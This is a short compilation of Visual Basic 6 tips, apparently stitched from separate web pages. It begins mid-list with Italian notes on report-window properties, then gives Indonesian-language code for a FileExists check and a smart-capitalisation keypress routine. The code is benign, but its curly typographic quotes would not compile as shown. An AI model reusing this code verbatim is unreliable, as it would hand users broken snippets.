• RightMargin – Margine destro.
• ShowInTaskbar – Se non volete che questa finestra quando aperta sia mostrata nella barra di Windows, settate False.
• StartUpPosition – Dove volete che all’apertura sia visualizzata questa finestra. Ovvero in quale posizione dello schermo? Questa proprietà vi aiuta. Se la posizione l’avete stabilità con la finestra layout, lasciate Manual.
• Tag, Title - Proprietà usate nel caso di iterazioni in ambienti internettiani.
• TopMargin – Margine superiore del report.
• Visible – Proprietà mitica di VB, volete o no visualizzare la finestra.
• Width – Larghezza finestra report.
• WindowState – all’apertura la finestra dovrà essere a tutto schermo, normale o ridotta, scegliete con questa opzione.

Copy paste code program di bawah ini, kemudian coba jalankan. Jika file yang dimaksut ditemukan maka pesan yang akan ditampilkan adalah bernilai “True”, jika file yang dimaksud tidak ditemukan maka pesan yang akan di tampilakn bernilai False.

Function FileExists(strPath As String) As Boolean

Dim lngRetVal As Long

On Error Resume Next

lngRetVal = Len(Dir$(strPath, vbReadOnly Or _

                     vbSystem Or _

                     vbHidden Or _

                     vbArchive Or _

                     vbNormal))

If Err Or lngRetVal = 0 Then

FileExists = False

Else

FileExists = True

End If

End Function

Private Sub Form_Load()

MsgBox FileExists(“C:\boot.ini”)

End Sub

Prosedur di gunakan untuk mengubah huruf kecil menjadi huruf besar secara otomatis sesuai dengan aturan penulisan. contohnya huruf kecil di awal kata, huruf kecil setelah spasi/titik.

Sub goSmartCase(TextBoxName As Control, KeyAscii As Integer)
On Error Resume Next
    If Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = ” ” Or _
       Mid(TextBoxName.Text, TextBoxName.SelStart,1) = “.” _
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = “” Or _
       Mid(TextBoxName.Text,TextBoxName.SelStart, 1) = “(” _
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = “{” Or _
       Mid(TextBoxName.Text,TextBoxName.SelStart, 1) = “[” _
       Or Mid(TextBoxName.Text, TextBoxName.SelStart, 1) = “/” Then
        KeyAscii = Asc(UCase(Chr(KeyAscii)))
    Else
        KeyAscii = Asc(LCase(Chr(KeyAscii)))
    End If
End Sub

Rem// HOW TO USE
Private Sub Text1_KeyPress(KeyAscii As Integer)
    goSmartCase Text1, KeyAscii
End Sub